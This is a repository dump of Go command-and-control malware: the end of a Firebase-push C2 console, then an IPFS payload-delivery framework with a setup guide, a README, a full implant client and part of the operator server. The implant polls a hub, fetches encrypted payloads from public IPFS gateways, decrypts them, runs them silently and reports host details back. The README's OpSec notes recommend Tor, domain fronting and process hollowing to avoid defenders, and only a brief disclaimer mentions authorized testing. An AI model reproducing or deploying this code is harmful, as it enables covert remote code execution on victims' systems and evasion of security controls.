case "broadcast":
if len(parts) < 2 {
fmt.Println("Usage: broadcast <command...>")
continue
}
command := strings.Join(parts[1:], " ")
sent := s.BroadcastCommand(command)
fmt.Printf("[+] Broadcast sent to %d implant(s)\n", len(sent))
case "results":
if len(parts) < 2 {
fmt.Println("Usage: results <id>")
continue
}
id := parts[1]
results, err := s.FetchResults(id)
if err != nil {
fmt.Printf("[-] Error fetching results: %v\n", err)
continue
}
if len(results) == 0 {
fmt.Printf("[*] No results for %s\n", id)
continue
}
fmt.Printf("Results for %s:\n", id)
for _, r := range results {
fmt.Printf(" Command: %s\n", r.CommandID)
fmt.Printf(" Time: %s\n", time.UnixMilli(r.TS).Format(time.RFC3339))
fmt.Printf(" Output:\n")
for _, line := range strings.Split(strings.TrimRight(r.Output, "\n"), "\n") {
fmt.Printf(" %s\n", line)
}
fmt.Println()
}
case "push":
if len(parts) < 3 {
fmt.Println("Usage: push <id> <json_payload>")
continue
}
id := parts[1]
payload := strings.Join(parts[2:], " ")
if err := s.PushRawFCM(id, payload); err != nil {
fmt.Printf("[-] Error: %v\n", err)
}
case "status":
s.mu.RLock()
fmt.Printf("Firebase Project: %s\n", s.firebaseURL)
fmt.Printf("HTTP Port: %d\n", s.httpPort)
fmt.Printf("Implants: %d\n", len(s.implants))
for _, imp := range s.implants {
fcm := "no"
if imp.FCMToken != "" {
fcm = "yes"
}
fmt.Printf(" %s (FCM: %s, seen: %s)\n", imp.ID, fcm, imp.LastSeen.Format(time.RFC3339))
}
s.mu.RUnlock()
default:
fmt.Printf("Unknown command: %s\nType 'help' for available commands.\n", cmd)
}
}
}
// ─── Main ──────────────────────────────────────────────────────────────────
func main() {
firebaseURL := os.Getenv("FIREBASE_URL")
secret := os.Getenv("GHOST_SECRET")
portStr := os.Getenv("GHOST_PORT")
if firebaseURL == "" {
log.Fatal("FIREBASE_URL environment variable required (e.g., https://my-project-default-rtdb.firebaseio.com)")
}
if secret == "" {
log.Fatal("GHOST_SECRET environment variable required (server-side encryption key)")
}
port := 9090
if portStr != "" {
if n, err := fmt.Sscanf(portStr, "%d", &port); err != nil || n != 1 {
log.Printf("Warning: invalid GHOST_PORT '%s', using 9090", portStr)
port = 9090
}
}
srv := NewServer(firebaseURL, secret, port)
// HTTP status endpoint
http.HandleFunc("/", srv.httpStatusHandler)
httpServer := &http.Server{
Addr: fmt.Sprintf(":%d", port),
Handler: nil,
}
go func() {
log.Printf("[*] HTTP status page listening on :%d", port)
if err := httpServer.ListenAndServe(); err != nil && err != http.ErrServerClosed {
log.Fatalf("HTTP server error: %v", err)
}
}()
// Handle shutdown
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
go func() {
<-sigCh
fmt.Println("\n[*] Shutting down...")
httpServer.Close()
os.Exit(0)
}()
srv.RunREPL()
}
+2
View File
@@ -0,0 +1,2 @@
go 1.26
module github.com/churchofmalware/c2-ghost-push
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+161
View File
@@ -0,0 +1,161 @@
# IPFS Upload Guide
How to get payloads onto IPFS for use with the C2 IPFS payload delivery system.
## Option 1: Local IPFS Node (Recommended)
### Install IPFS (Kubo)
```bash
# Download Kubo v0.29.0
wget https://dist.ipfs.tech/kubo/v0.29.0/kubo_v0.29.0_linux-amd64.tar.gz
# Extract
tar -xzf kubo_v0.29.0_linux-amd64.tar.gz
# Install
cd kubo
sudo bash install.sh
# Initialize
ipfs init
# Start the daemon
ipfs daemon &
# Wait for it to be ready
ipfs id
```
### Upload a File
```bash
# Add a file to IPFS
ipfs add payload.enc
# Output: added QmX... payload.enc
# The hash is your CID: QmX...
```
### Start the Daemon on Boot
```bash
# Systemd service
sudo tee /etc/systemd/system/ipfs.service << 'EOF'
[Unit]
Description=IPFS Daemon
After=network.target
[Service]
ExecStart=/usr/local/bin/ipfs daemon
Restart=on-failure
User=root
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl enable ipfs
sudo systemctl start ipfs
```
### IPFS API
Once the daemon is running, the API is available at `http://127.0.0.1:5001/api/v0`.
The server uses this by default.
## Option 2: Pinata.cloud (Free Tier)
Pinata offers a free tier with 1GB of storage — no local node needed.
### Setup
1. Create an account at https://pinata.cloud
2. Go to API Keys and generate a JWT
3. Use it with the server/upload tool
### Upload via API
```bash
curl -X POST \
-H "Authorization: Bearer <your-jwt>" \
-F "file=@payload.enc" \
https://api.pinata.cloud/pinning/pinFileToIPFS
```
Response: `{"IpfsHash":"Qm...","PinSize":1234,"Timestamp":"..."}`
### Upload via the C2 Tools
```bash
# Using the upload helper
./upload -key <key> -file payload.bin -pinata-jwt <jwt>
# Or with server
./server -pinata-jwt <jwt> -mode http
# Then in console: deploy payload.bin
```
## Option 3: web3.storage (Free)
https://web3.storage offers 5GB free with API key auth.
```bash
curl -X POST \
-H "Authorization: Bearer <api-token>" \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.enc \
https://api.web3.storage/upload
```
## Option 4: Infura IPFS API
Infura provides free IPFS API access (rate limited).
```bash
# Upload
curl -X POST \
-F "file=@payload.enc" \
"https://ipfs.infura.io:5001/api/v0/add"
# Requires project ID/secret for authenticated gateways
```
## Gateway URLs for Download
The implant supports multiple gateway fallback. Configure via `--gateways`.
Default gateways used by the implant:
| Gateway | URL Template |
|---------|-------------|
| ipfs.io | `https://ipfs.io/ipfs/%s` |
| Cloudflare | `https://cloudflare-ipfs.com/ipfs/%s` |
| Filebase | `https://ipfs.filebase.io/ipfs/%s` |
| dweb.link | `https://dweb.link/ipfs/%s` |
| cf-ipfs.com | `https://cf-ipfs.com/ipfs/%s` |
Custom gateways:
```bash
./client --cid-source <url> --decryption-key <key> \
--gateways "https://gateway1.example.com/ipfs/%s,https://gateway2.example.com/ipfs/%s"
```
## CID Verification
When a file is added to IPFS, its content is hashed to produce a content identifier (CID).
The hash is derived from the file content — changing even one bit changes the CID.
The implant downloads the payload and can verify the SHA-256 hash matches the CID
(for CIDv0, this requires base58 decoding of the multihash — a proper production
implementation would add a base58 library for full verification).
## OpSec Notes
- **Local node**: Your IP is visible to the IPFS DHT when pinning. Use a VPN or Tor.
- **Pinata**: They can see your files. Encrypt before uploading (which this system does).
- **Encryption**: AES-256-GCM with a pre-shared key. Key compromise = payload compromise.
- **Gateway privacy**: Public gateways (ipfs.io, cloudflare-ipfs.com) log your IP.
- **Private gateways**: Run your own gateway for opsec. See: `https://github.com/ipfs/go-ipfs`
- **Pinning**: Files not pinned may be garbage collected. Pin your payloads or use a pinning service.
+423
View File
@@ -0,0 +1,423 @@
# C2 IPFS Payload Delivery System
Decentralized payload delivery using IPFS + AES-256-GCM encryption. No C2 server IP to block — payloads live on IPFS, implants fetch them from any public gateway.
## Architecture
```
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ Operator │────▶│ CID Source │────▶│ Implant │
│ Console │ │ (HTTP or │ │ │
│ (server) │ │ Contract) │ │ (client) │
└──────┬───────┘ └──────┬─────────┘ └──────┬───────┘
│ │ │
│ encrypt + upload │ serves CID │ polls for CID
▼ ▼ ▼
┌─────────┐ ┌──────────┐ ┌──────────┐
│ IPFS │ │ Implants │ │ IPFS │
│ Network │◀───────│ poll CID │◀─────────│ Gateways │
└─────────┘ └──────────┘ └──────────┘
```
### Data Flow
1. **Operator** encrypts a payload binary with AES-256-GCM and uploads it to IPFS
2. **Operator** publishes the resulting CID to the CID source (HTTP hub or smart contract)
3. **Implant** polls the CID source periodically with jitter
4. **Implant** detects a new CID, downloads the encrypted payload from any IPFS gateway
5. **Implant** decrypts with the pre-shared key, executes, reports status
## Modes
### MODE A — Simple HTTP CID Hub (Default, No Blockchain)
A lightweight HTTP server that serves CIDs. The implant polls `GET /cid`.
**Pros:** Simple, no blockchain knowledge needed, no gas costs.
```
┌──────────┐ GET /cid ┌──────────┐
│ Server │◀──────────────│ Implant │
│ :8443 │ ──────────▶│ │
└────┬─────┘ POST /cid └──────────┘
│ POST /cid {"cid":"Qm..."}
┌──┴──┐
│Operator│
└──────┘
```
### MODE B — Smart Contract CID Feed (Fully Decentralized)
A smart contract emits `NewCID` events. The implant watches the event log on-chain.
**Pros:** Fully decentralized, censorship-resistant, transparent.
**Cons:** Requires ETH for gas, go-ethereum build, chain knowledge.
```
┌──────────┐ emit NewCID ┌─────────────┐ ┌──────────┐
│ Operator │──────────────▶│ Smart │ │ Implant │
│ Wallet │ │ Contract │◀───│ (watcher)│
└──────────┘ └──────┬───────┘ └──────────┘
┌───▼───┐
│ Events │
│ (logs) │
└───────┘
```
## Quick Start (Mode A — 5 minutes)
### 1. Build
```bash
# Clone or cd into the project
cd c2-ipfs-payload
# Build all tools
go build -o server ./cmd/server
go build -o client ./cmd/client
go build -o upload ./cmd/upload
# Or build the ethereum-enabled versions
go build -tags ethereum -o server-eth ./cmd/server
go build -tags ethereum -o client-eth ./cmd/client
```
### 2. Start IPFS
See [IPFS_UPLOAD.md](IPFS_UPLOAD.md) for detailed setup.
```bash
# Install and start IPFS daemon
ipfs init && ipfs daemon &
```
### 3. Start the Server
```bash
./server --port 8443
```
The server will:
- Generate a new encryption key (save this!)
- Start the HTTP CID hub on port 8443
- Open the operator console
### 4. Deploy a Payload
In the operator console:
```
> deploy /path/to/payload.bin
```
Or manually:
```bash
# Using the upload helper
./upload -key $(cat key.txt) -file payload.bin
# Then in the console:
> cid QmX...
```
### 5. Start the Implant
```bash
./client \
--cid-source http://your-server:8443 \
--decryption-key <key-from-server> \
--poll-interval 30
```
## Server Reference
### Flags
| Flag | Default | Description |
|------|---------|-------------|
| `--port` | `8443` | HTTP server port (mode A) |
| `--user` | `""` | Basic auth username (mode A) |
| `--pass` | `""` | Basic auth password (mode A) |
| `--jwt` | `""` | JWT token (overrides basic auth) |
| `--mode` | `"http"` | Operation mode: `http` or `contract` |
| `--ipfs-api` | `http://127.0.0.1:5001/api/v0` | IPFS API URL |
| `--pinata-jwt` | `""` | Pinata.cloud JWT (alternative IPFS) |
| `--enc-key` | `""` | Encryption key (auto-generates if empty) |
| `--contract` | `""` | Contract address (mode B) |
| `--rpc-url` | `""` | Ethereum RPC URL (mode B) |
| `--max-history` | `100` | Max history entries |
### Console Commands
| Command | Description |
|---------|-------------|
| `deploy <file>` | Encrypt, upload to IPFS, update CID |
| `cid <cid>` | Manually set a CID |
| `encrypt <file>` | Encrypt a file and upload to IPFS |
| `status` | Show current state |
| `history` | Show recent CID history |
| `genkey` | Generate a new encryption key |
| `help` | Show help |
| `exit` | Shutdown |
### API Endpoints (Mode A)
| Method | Path | Auth | Description |
|--------|------|------|-------------|
| `GET` | `/cid` | Optional | Get current CID |
| `POST` | `/cid` | Optional | Set a new CID |
| `GET` | `/history` | Optional | Get recent CIDs |
| `GET` | `/status` | Optional | Server status |
| `GET` | `/` | No | API info |
**Example:**
```bash
# Set CID
curl -X POST http://server:8443/cid \
-H "Content-Type: application/json" \
-d '{"cid":"QmX...","note":"stage2 payload"}'
# Get current CID
curl http://server:8443/cid
# Get history
curl http://server:8443/history
```
Auth:
```bash
# With basic auth
curl -u admin:password http://server:8443/cid
# With JWT
curl -H "Authorization: Bearer <token>" http://server:8443/cid
```
## Client Reference
### Flags
| Flag | Default | Description |
|------|---------|-------------|
| `--cid-source` | (required) | CID hub URL (mode A) or contract addr (mode B) |
| `--decryption-key` | (required) | 32-byte hex key or passphrase |
| `--poll-interval` | `60` | Poll interval in seconds |
| `--mode` | `"http"` | `http` or `contract` |
| `--rpc-url` | `""` | Ethereum RPC URL (mode B) |
| `--gateways` | defaults | Comma-sep IPFS gateway URLs |
| `--report-url` | `""` | URL to POST execution reports |
| `--config` | `""` | Config file for persistence |
| `--jwt-fetch` | `""` | JWT for authenticated CID hub access |
| `--id` | auto | Implant ID |
### Behavior
- **Jittered polling**: ±20% of the poll interval (reduces fingerprinting)
- **Multi-gateway fallback**: Tries multiple IPFS gateways in random order
- **Config persistence**: Saves last CID, implant ID, and config to a JSON file
- **Auto-reporting**: Posts execution results to a report URL (optional)
- **Signal handling**: Saves state on SIGINT/SIGTERM
## Encryption
- **Algorithm**: AES-256-GCM (authenticated encryption)
- **Key**: 32-byte key (64 hex chars) or arbitrary passphrase (hashed with SHA-256)
- **Output**: `nonce (12 bytes) || ciphertext || tag (16 bytes)`
- **Per-encryption nonce**: Each encryption generates a fresh random nonce
### Key Management
```bash
# Generate a key via server (recommended)
./server # auto-generates on start
# Generate a key manually
./upload -key <any-32-byte-hex> -file test.bin --no-upload
# Better: use genkey in server console
# Derive from passphrase
./client --decryption-key "my-secret-passphrase"
```
## Smart Contract (Mode B)
### Contract Interface
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CIDFeed {
string public latestCID;
event NewCID(address indexed sender, string cid, uint256 timestamp);
function publishCID(string memory _cid) public {
latestCID = _cid;
emit NewCID(msg.sender, _cid, block.timestamp);
}
}
```
### Deploy and Use
```bash
# Build with ethereum support
go build -tags ethereum -o server-eth ./cmd/server
# Start in contract mode
./server-eth \
--mode contract \
--contract 0x... \
--rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
--enc-key <key>
# Use the console
> send-cid 0x... QmX...
```
### Watching Mode B from the Implant
```bash
go build -tags ethereum -o client-eth ./cmd/client
./client-eth \
--mode contract \
--cid-source 0x... \
--rpc-url https://eth-mainnet.g.alchemy.com/v2/... \
--decryption-key <key>
```
## Payload Workflow Walkthrough
### Complete Deployment Cycle
```bash
# 1. Build everything
go build -o server ./cmd/server
go build -o client ./cmd/client
# 2. Start IPFS daemon
ipfs daemon &
# 3. Start the server (generates key)
./server --port 8443
# 4. In the server console:
> genkey
New encryption key: a1b2c3d4e5f6... (64 hex chars)
> deploy shellcode.bin
Encrypted shellcode.bin (512 bytes -> 544 bytes encrypted)
Uploading to IPFS...
Uploaded! CID: QmXyZ...
Deployed!
# 5. On the target:
./client \
--cid-source http://hub.example.com:8443 \
--decryption-key a1b2c3d4e5f6... \
--poll-interval 30
# 6. Implant output:
Implant started (ID: aabbccdd, mode: http)
Poll interval: 30s with jitter
CID source: http://hub.example.com:8443
New CID detected: QmXyZ...
Fetching payload from IPFS (544 bytes)...
Decrypted payload (512 bytes), executing...
Payload executed (PID: 12345)
# 7. Deploy the next stage:
> deploy stage2.bin
Deployed! CID: QmAbCd...
```
### Manual Workflow (No IPFS Daemon)
```bash
# 1. Encrypt locally
./upload -key <key> -file payload.bin --no-upload
# 2. Upload via Pinata
curl -X POST \
-H "Authorization: Bearer <pinata-jwt>" \
-F "file=@payload.bin.enc" \
https://api.pinata.cloud/pinning/pinFileToIPFS
# 3. Set the CID on the hub
curl -X POST http://server:8443/cid \
-d '{"cid":"QmFromPinata"}'
```
## OpSec Notes
### Network
- **CID hub**: Should be behind a CDN (Cloudflare, Fastly) or Tor hidden service
- **IPFS uploads**: Use VPN/Tor when connecting to IPFS or Pinata
- **Gateways**: Public gateways log IPs. Run your own private gateway for opsec.
- **No persistent C2 infra**: No fixed IP that defenders can block — only the hub matters
### Encryption
- **Payloads are encrypted before IPFS upload**. Content-addressing verifies integrity.
- **Key distribution is the weak point**. Use E2EE (Signal, etc.) or dead drops.
- **Key rotation**: Change the encryption key periodically. Re-encrypt and redeploy.
- **Passphrases**: Use high-entropy passphrases (>80 bits) rather than short passwords.
### Implant
- **DNS for CID hubs**: Use domain fronting or CDN fronting to hide the hub backend
- **Jittered polling**: Reduces fingerprintable patterns
- **Config persistence**: Encrypt the config file if saved on disk
- **Runtime detection**: Consider reflective loading or process hollowing for the executed payload
### Legal
This tool is for authorized red teaming, penetration testing, and security research.
Do not use against systems you do not own or have explicit written permission to test.
## Build Requirements
- Go 1.21+
- IPFS (optional, for local uploads) — [Install Guide](IPFS_UPLOAD.md)
- go-ethereum (optional, for mode B) — `go get github.com/ethereum/go-ethereum`
### Platform Support
| Platform | Mode A | Mode B |
|----------|--------|--------|
| Linux x86_64 | YES | YES |
| Linux arm64 | YES | YES |
| macOS x86_64/arm64 | YES | YES |
| Windows (cross-compile) | YES | x (CGo) |
| OpenBSD/FreeBSD | YES | x |
## Project Structure
```
c2-ipfs-payload/
├── cmd/
│ ├── server/main.go # Operator console + CID hub
│ ├── client/main.go # Implant
│ └── upload/main.go # Helper: encrypt + upload
├── pkg/
│ ├── types/types.go # Shared data types
│ ├── crypto/crypto.go # AES-256-GCM encryption
│ ├── ipfs/ipfs.go # IPFS upload/download
│ ├── auth/auth.go # HTTP auth middleware
│ └── contract/
│ ├── contract.go # Contract interface (no deps)
│ └── contract_eth.go # go-ethereum implementation
├── README.md # This file
└── IPFS_UPLOAD.md # IPFS setup guide
```
DISCLAIMER: FOR AUTHORIZED SECURITY TESTING OR EDUCATIONAL PURPOSES ONLY
+403
View File
@@ -0,0 +1,403 @@
// Command client is the implant for the C2 IPFS payload delivery system.
//
// It polls a CID source (HTTP hub or smart contract), fetches payloads
// from IPFS when a new CID is detected, decrypts, and executes them.
//
// Usage:
// Mode A (HTTP): ./client --cid-source http://hub.example.com:8443 --decryption-key <hex>
// Mode B (cont.): ./client --cid-source <contract-addr> --rpc-url <rpc> --decryption-key <hex>
package main
import (
"crypto/rand"
"encoding/hex"
"encoding/json"
"flag"
"fmt"
"io"
"log"
"math/big"
"net/http"
"os"
"os/exec"
"os/signal"
"runtime"
"strings"
"sync"
"syscall"
"time"
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
"github.com/churchofmalware/c2-ipfs-payload/pkg/types"
)
type Implant struct {
mu sync.RWMutex
config types.Config
lastCID string
lastFetchTime time.Time
httpClient *http.Client
pollTicker *time.Ticker
stopCh chan struct{}
fetchCount int
execCount int
startTime time.Time
}
func NewImplant(cfg types.Config) *Implant {
if cfg.ImplantID == "" {
// Generate a random implant ID
idBytes := make([]byte, 8)
rand.Read(idBytes)
cfg.ImplantID = hex.EncodeToString(idBytes)
}
if len(cfg.Gateways) == 0 {
cfg.Gateways = ipfs.DefaultGateways
}
if cfg.PollInterval <= 0 {
cfg.PollInterval = 60 // default 60 seconds
}
if cfg.Mode == "" {
cfg.Mode = "http"
}
return &Implant{
config: cfg,
lastCID: cfg.LastCID,
httpClient: &http.Client{Timeout: 30 * time.Second},
stopCh: make(chan struct{}),
startTime: time.Now(),
}
}
// poll fetches the current CID from the configured source.
func (im *Implant) poll() (string, error) {
switch im.config.Mode {
case "http":
return im.pollHTTP()
case "contract":
return im.pollContract()
default:
return "", fmt.Errorf("unknown mode: %s", im.config.Mode)
}
}
// pollHTTP fetches the current CID from the HTTP CID hub.
func (im *Implant) pollHTTP() (string, error) {
url := strings.TrimRight(im.config.CIDSource, "/") + "/cid"
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return "", fmt.Errorf("failed to create request: %w", err)
}
if im.config.JWTFetch != "" {
req.Header.Set("Authorization", "Bearer "+im.config.JWTFetch)
}
resp, err := im.httpClient.Do(req)
if err != nil {
return "", fmt.Errorf("HTTP request failed: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusNotFound {
return "", nil // No CID set yet
}
if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("HTTP %d", resp.StatusCode)
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 4096))
if err != nil {
return "", fmt.Errorf("failed to read response: %w", err)
}
var result struct {
CID string `json:"cid"`
}
if err := json.Unmarshal(body, &result); err != nil {
return "", fmt.Errorf("failed to parse response: %w", err)
}
return result.CID, nil
}
// pollContract watches smart contract events.
// This is a placeholder — real implementation requires go-ethereum.
func (im *Implant) pollContract() (string, error) {
// TODO: Implement contract event watching when built with -tags ethereum
return "", fmt.Errorf("contract mode requires 'go build -tags ethereum ./cmd/client'")
}
// processCID handles a new CID: fetch, verify, decrypt, execute.
func (im *Implant) processCID(cid string) error {
log.Printf("New CID detected: %s", cid)
// 1. Fetch from IPFS
log.Printf("Fetching payload from IPFS (CID: %s)...", cid)
data, err := ipfs.Download(cid, im.config.Gateways)
if err != nil {
return fmt.Errorf("IPFS download failed: %w", err)
}
log.Printf("Downloaded %d bytes from IPFS", len(data))
// 2. Verify content addressing
if err := ipfs.VerifyCID(data, cid); err != nil {
return fmt.Errorf("CID verification failed: %w", err)
}
// 3. Decrypt
key := crypto.DeriveKey(im.config.DecryptionKey)
// Try hex key first; fall back to derived key
var plaintext []byte
var decErr error
if len(im.config.DecryptionKey) == 64 {
if keyBytes, hErr := hex.DecodeString(im.config.DecryptionKey); hErr == nil && len(keyBytes) == 32 {
plaintext, decErr = crypto.Decrypt(data, keyBytes)
}
}
if plaintext == nil {
plaintext, decErr = crypto.Decrypt(data, key)
}
if decErr != nil {
return fmt.Errorf("decryption failed: %w", decErr)
}
log.Printf("Decrypted payload (%d bytes), executing...", len(plaintext))
// 4. Save to temp file
tmpFile, err := ipfs.SaveTempFile(plaintext, "c2payload-*")
if err != nil {
return fmt.Errorf("failed to save temp file: %w", err)
}
defer os.Remove(tmpFile)
// 5. Execute
cmd := exec.Command(tmpFile)
cmd.Stdout = nil // Don't capture output by default to avoid suspicion
cmd.Stderr = nil
cmd.Stdin = nil
if err := cmd.Start(); err != nil {
return fmt.Errorf("execution failed: %w", err)
}
log.Printf("Payload executed (PID: %d)", cmd.Process.Pid)
im.mu.Lock()
im.execCount++
im.lastCID = cid
im.lastFetchTime = time.Now()
im.mu.Unlock()
// 6. Report back (fire and forget)
go im.report(cid, true, "")
return nil
}
// report sends execution status back to the operator.
func (im *Implant) report(cid string, success bool, errMsg string) {
if im.config.ReportURL == "" {
return
}
hostname, _ := os.Hostname()
report := types.ImplantReport{
ImplantID: im.config.ImplantID,
CID: cid,
Success: success,
Error: errMsg,
Platform: runtime.GOOS + "/" + runtime.GOARCH,
Hostname: hostname,
Timestamp: time.Now().UTC().Format(time.RFC3339),
}
data, _ := json.Marshal(report)
im.httpClient.Post(im.config.ReportURL, "application/json",
strings.NewReader(string(data)))
}
// run starts the main polling loop with jitter.
func (im *Implant) run() {
log.Printf("Implant started (ID: %s, mode: %s)", im.config.ImplantID, im.config.Mode)
log.Printf("Poll interval: %ds with jitter", im.config.PollInterval)
log.Printf("CID source: %s", im.config.CIDSource)
if im.config.ReportURL != "" {
log.Printf("Report URL: %s", im.config.ReportURL)
}
// Initial poll
im.pollLoop()
// Start ticker with jitter
baseInterval := time.Duration(im.config.PollInterval) * time.Second
im.pollTicker = time.NewTicker(baseInterval)
for {
select {
case <-im.pollTicker.C:
im.pollLoop()
case <-im.stopCh:
log.Println("Implant shutting down...")
return
}
}
}
// pollLoop performs one poll cycle with jitter.
func (im *Implant) pollLoop() {
// Add jitter: ±20% of polling interval
jitterRange := int64(float64(im.config.PollInterval) * 0.2)
if jitterRange < 1 {
jitterRange = 1
}
jitterMs, _ := rand.Int(rand.Reader, big.NewInt(jitterRange*1000))
time.Sleep(time.Duration(jitterMs.Int64()) * time.Millisecond)
cid, err := im.poll()
if err != nil {
log.Printf("Poll error: %v", err)
return
}
if cid == "" {
return // No CID available yet
}
im.mu.RLock()
lastCID := im.lastCID
im.mu.RUnlock()
if cid == lastCID {
return // Same CID, nothing to do
}
if err := im.processCID(cid); err != nil {
log.Printf("CID processing error: %v", err)
im.report(cid, false, err.Error())
}
}
// saveConfig persists the current state to a config file.
func (im *Implant) saveConfig(path string) error {
im.mu.RLock()
cfg := im.config
cfg.LastCID = im.lastCID
im.mu.RUnlock()
data, err := json.MarshalIndent(cfg, "", " ")
if err != nil {
return err
}
return os.WriteFile(path, data, 0600)
}
// loadConfig loads implant state from a config file.
func loadConfig(path string) (*types.Config, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, err
}
var cfg types.Config
if err := json.Unmarshal(data, &cfg); err != nil {
return nil, err
}
return &cfg, nil
}
func main() {
var (
cidSource = flag.String("cid-source", "", "CID source URL (mode A) or contract address (mode B)")
decryptionKey = flag.String("decryption-key", "", "Payload decryption key (32-byte hex or passphrase)")
pollInterval = flag.Int("poll-interval", 60, "Poll interval in seconds")
mode = flag.String("mode", "http", "Operation mode: 'http' or 'contract'")
rpcURL = flag.String("rpc-url", "", "Ethereum RPC URL (mode B)")
gateways = flag.String("gateways", "", "Comma-separated IPFS gateway URLs")
reportURL = flag.String("report-url", "", "URL to POST execution reports")
configFile = flag.String("config", "", "Path to config file (for persistence)")
jwtFetch = flag.String("jwt-fetch", "", "JWT for authenticated CID hub access")
implantID = flag.String("id", "", "Implant ID (auto-generated if empty)")
)
flag.Parse()
if *cidSource == "" {
log.Fatal("--cid-source is required (URL for mode A, contract addr for mode B)")
}
if *decryptionKey == "" {
log.Fatal("--decryption-key is required")
}
// Parse gateways
var gwList []string
if *gateways != "" {
gwList = strings.Split(*gateways, ",")
}
_ = rpcURL // used in mode B (contract)
// Build config
cfg := types.Config{
ImplantID: *implantID,
DecryptionKey: *decryptionKey,
PollInterval: *pollInterval,
CIDSource: *cidSource,
Mode: *mode,
Gateways: gwList,
ReportURL: *reportURL,
JWTFetch: *jwtFetch,
}
// Try loading from config file for persistence
if *configFile != "" {
savedCfg, err := loadConfig(*configFile)
if err == nil {
// Merge: CLI flags override config file
if *implantID == "" && savedCfg.ImplantID != "" {
cfg.ImplantID = savedCfg.ImplantID
}
if *decryptionKey == "" && savedCfg.DecryptionKey != "" {
cfg.DecryptionKey = savedCfg.DecryptionKey
}
if *cidSource == "" && savedCfg.CIDSource != "" {
cfg.CIDSource = savedCfg.CIDSource
}
if savedCfg.LastCID != "" {
cfg.LastCID = savedCfg.LastCID
}
if len(gwList) == 0 && len(savedCfg.Gateways) > 0 {
cfg.Gateways = savedCfg.Gateways
}
}
}
implant := NewImplant(cfg)
// Periodically save config for persistence
if *configFile != "" {
go func() {
ticker := time.NewTicker(5 * time.Minute)
defer ticker.Stop()
for range ticker.C {
if err := implant.saveConfig(*configFile); err != nil {
log.Printf("Failed to save config: %v", err)
}
}
}()
}
// Handle signals
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
go func() {
<-sigCh
log.Println("Received shutdown signal")
if *configFile != "" {
implant.saveConfig(*configFile)
}
os.Exit(0)
}()
implant.run()
}
+505
View File
@@ -0,0 +1,505 @@
// Command server is the operator console for the C2 IPFS payload delivery system.
//
// MODE A — Simple HTTP CID Hub:
// Runs a lightweight HTTP server that serves new CIDs.
// Implants poll GET /cid for the current CID.
//
// MODE B — Smart Contract CID Feed (optional, requires go-ethereum):
// Build with: go build -tags ethereum ./cmd/server
// Interacts with an Ethereum smart contract that emits NewCID events.
package main
import (
"bufio"
"encoding/hex"
"encoding/json"
"flag"
"fmt"
"log"
"net/http"
"os"
"os/signal"
"strings"
"sync"
"syscall"
"time"
"github.com/churchofmalware/c2-ipfs-payload/pkg/auth"
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
"github.com/churchofmalware/c2-ipfs-payload/pkg/types"
)
// Server state.
type Server struct {
mu sync.RWMutex
currentCID string
history []types.CIDEntry
startTime time.Time
mode string // "http" or "contract"
ipfsClient *ipfs.Client
encKey []byte
config Config
// For contract mode
contractAddress string
rpcURL string
}
// Config holds server configuration flags.
type Config struct {
port int
username string
password string
jwtToken string
mode string
ipfsAPI string
pinataJWT string
encKeyHex string
contractAddr string
rpcURL string
maxHistory int
}
func (s *Server) addHistory(cid, note string) {
s.mu.Lock()
defer s.mu.Unlock()
entry := types.CIDEntry{
CID: cid,
Timestamp: time.Now().UTC(),
Note: note,
}
s.history = append(s.history, entry)
if len(s.history) > s.config.maxHistory {
s.history = s.history[len(s.history)-s.config.maxHistory:]
}
s.currentCID = cid
}
// --- HTTP Handlers (Mode A) ---
func (s *Server) handleGetCID(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
cid := s.currentCID
s.mu.RUnlock()
if cid == "" {
http.Error(w, `{"error":"no CID set"}`, http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{"cid": cid})
}
func (s *Server) handlePostCID(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
var req struct {
CID string `json:"cid"`
Note string `json:"note,omitempty"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, fmt.Sprintf(`{"error":"invalid JSON: %s"}`, err), http.StatusBadRequest)
return
}
req.CID = strings.TrimSpace(req.CID)
if !ipfs.IsValidCID(req.CID) {
http.Error(w, `{"error":"invalid CID format"}`, http.StatusBadRequest)
return
}
s.addHistory(req.CID, req.Note)
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{
"status": "ok",
"cid": req.CID,
})
}
func (s *Server) handleHistory(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
history := make([]types.CIDEntry, len(s.history))
copy(history, s.history)
s.mu.RUnlock()
w.Header().Set("Content-Type", "application/json")
if history == nil {
w.Write([]byte("[]"))
return
}
json.NewEncoder(w).Encode(history)
}
func (s *Server) handleStatus(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
cid := s.currentCID
history := make([]types.CIDEntry, len(s.history))
copy(history, s.history)
s.mu.RUnlock()
resp := types.StatusResponse{
CurrentCID: cid,
History: history,
Mode: s.mode,
Uptime: time.Since(s.startTime).Round(time.Second).String(),
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(resp)
}
// --- Operator Console ---
func (s *Server) runConsole() {
scanner := bufio.NewScanner(os.Stdin)
fmt.Println()
fmt.Println("╔══════════════════════════════════════════╗")
fmt.Println("║ C2 IPFS Payload — Operator Console ║")
fmt.Println("╚══════════════════════════════════════════╝")
